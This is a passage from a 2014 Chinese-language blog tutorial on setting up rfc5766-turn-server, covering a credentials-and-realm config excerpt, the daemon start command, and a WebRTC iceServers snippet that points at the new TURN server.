    lt-cred-mech
    // 增加一個用戶
    user=username1:password1
    // 設(shè)定realm
    realm=mycompany.org
    ---------------------------------------
    4. 啟動:
    sudo turnserver -c /etc/turnserver.conf --daemon
    5. 服務(wù)啟動后,在上一個WebRTC示例中更改iceServers后測試:
    "iceServers": [{
        "url": "stun:stun.l.google.com:19302"
    }, {
        "url": "turn:54.223.149.60",
        "username": "username1",
        "credential": "password1"
    }]
    更多安裝信息在:http://turnserver.open-sys.org/downloads/v3.2.4.4/INSTALL
    rfc5766-turn-server當(dāng)然也有STUN Server的能力,但是需要給它配置2個IP,以幫助探測客戶端所在NAT環(huán)境的行為,這里沒有做。
    posted @ 2014-10-22 14:23 老林 閱讀(8388) | 評論 (3)編輯 收藏

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